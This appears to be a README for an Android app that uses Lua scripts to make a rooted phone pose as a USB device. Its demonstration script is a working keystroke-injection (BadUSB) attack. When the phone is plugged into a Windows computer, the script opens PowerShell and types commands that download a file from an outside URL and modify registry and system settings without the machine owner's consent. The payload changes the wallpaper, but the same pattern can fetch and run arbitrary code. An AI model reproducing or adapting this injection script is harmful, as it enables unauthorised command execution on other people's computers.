Android USB Script

Use at your own risk. For educational purposes only.

An Android app that provides a simple Lua interface for enumerating and interfacing with arbitrary composite USB devices.

Root access is required.

Demonstration

The best way to explain what this app does is with a code example. The following script does the following when interpreted by this app:

1. Configures your phone to become a USB keyboard
2. Sends a series of key presses to the computer your phone is plugged in to, changing its wallpaper

-- create a USB composite device composed of a single keyboard
usb = luausb.create({ id = 0, type = "keyboard" })
kb = usb.dev[1]

local file = "https://i.redd.it/ur1mqcbpxou51.png"

while true do
    -- wait for the phone to be plugged into a computer
    while not kb.test() do usb.delay(1000) end

    usb.delay(1000)

    kb.press_keys(kb.LSUPER, kb.R)  -- open the Windows run dialog
    usb.delay(2000)                 -- wait 2 seconds
    kb.send_string("powershell\n")  -- pop open a powershell window
    usb.delay(2000)

    -- enter a script that changes your wallpaper
    kb.send_string("[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ..
            "(new-object System.Net.WebClient).DownloadFile('" .. file .. "',\"$Env:Temp\\b.jpg\");\n" ..
            "Add-Type @\"\n" ..
            "using System;using System.Runtime.InteropServices;using Microsoft.Win32;namespa" ..
            "ce W{public class S{ [DllImport(\"user32.dll\")]static extern int SystemParamet" ..
            "ersInfo(int a,int b,string c,int d);public static void SW(string a){SystemParam" ..
            "etersInfo(20,0,a,3);RegistryKey c=Registry.CurrentUser.OpenSubKey(\"Control Pan" ..
            "el\\\\Desktop\",true);c.SetValue(@\"WallpaperStyle\", \"2\");c.SetValue(@\"Tile" ..
            "Wallpaper\", \"0\");c.Close();}}}\n" ..
            "\"@\n" ..
            "[W.S]::SW(\"$Env:Temp\\b.jpg\")\n" ..
            "exit\n")

    -- wait for the phone to be unplugged
    while kb.test() do usb.delay(1000) end
end

Requirements

This app will not work on every Android device. If your Android OS has Linux Kernel version >= 3.18 and is compiled with configfs and f_hid, then the app can try to create usb gadgets.

New demo applications can be added to assets/scripts. The API is pretty much self-documenting, just look at the existing demos to get a feel for how the API works.

Third-party

• libsuperuser
• LuaJ